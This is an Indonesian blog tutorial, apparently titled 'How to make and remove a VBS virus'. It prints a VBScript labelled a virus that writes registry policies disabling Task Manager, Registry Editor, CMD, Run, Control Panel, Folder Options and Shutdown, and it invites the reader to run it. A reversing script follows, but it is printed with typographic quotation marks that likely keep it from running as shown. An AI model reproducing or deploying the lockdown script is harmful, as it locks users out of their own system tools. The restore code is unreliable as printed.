Cara Membuat dan Menghapus Virus VBS

Script vbs untuk menormalkan kembali, jika anda ingin coba silakan copy script ini ke notepad simpan dengan tulisan virus.vbs ( ingat extentionnya harus vbs ) dan jalankan script tersebut kemudian restart komputer anda apa yang terjadi —————script vbs disable ———————-

Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
on error resume Next
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableRegistryTools", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\DisableCMD", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\system\NoDispCpl", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoRun", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFolderOptions", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoTrayContextMenu", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoClose", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFind", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoViewContextMenu", "1", "REG_DWORD"
WshShell.RegWrite "HKCU\software\microsoft\windows\currentversion\policies\explorer\NoControlPanel", "1", "REG_DWORD"

—————script vbs disable ———————- jika komputer anda sudah posisi restart check menu run, (ctrl+alt+del) untuk melihat taskmanager dan folder option,serta shutdown semuanya hilang, lantas bagaimana cara mengembalikannya kembali
copy script dibawa ini agar anda tidak report merubah angka 1 menjadi nol, ingat pelajaran registry 1 menjadi disable 0 menjadi enable —————script vbs enable ———————- Dim WshShell
Set WshShell = WScript.CreateObject(”WScript.Shell”)
on error resume Next
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableRegistryTools”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableTaskMgr”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\DisableCMD”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\system\NoDispCpl”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoRun”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFolderOptions”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoTrayContextMenu”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoClose”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoFind”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoViewContextMenu”, “0″, “REG_DWORD”
WshShell.RegWrite “HKCU\software\microsoft\windows\currentversion\policies\explorer\NoControlPanel”, “0″, “REG_DWORD” —————script vbs enable ———————- setelah anda simpan menjadi nama antivirus.vbs,jalankan scriptnya dan shutdown dengan cara menekan power pada CPU kira kira 5 second atau sampai komputernya shutdown sendiri baru dilepas powernya dan kita tekan kembali tombol power untuk menghidupkan, virus vbs berhasil disembuhkan. Catatan :
vbs script ini juga bisa di gunakan untuk mengenable registry,menu run dan taskmanager, folder option yang biasa dipakai oleh pembuat worm mendisable fasilitas tersebut

Tweet

Sign up here with your email address to receive updates from this blog in your inbox.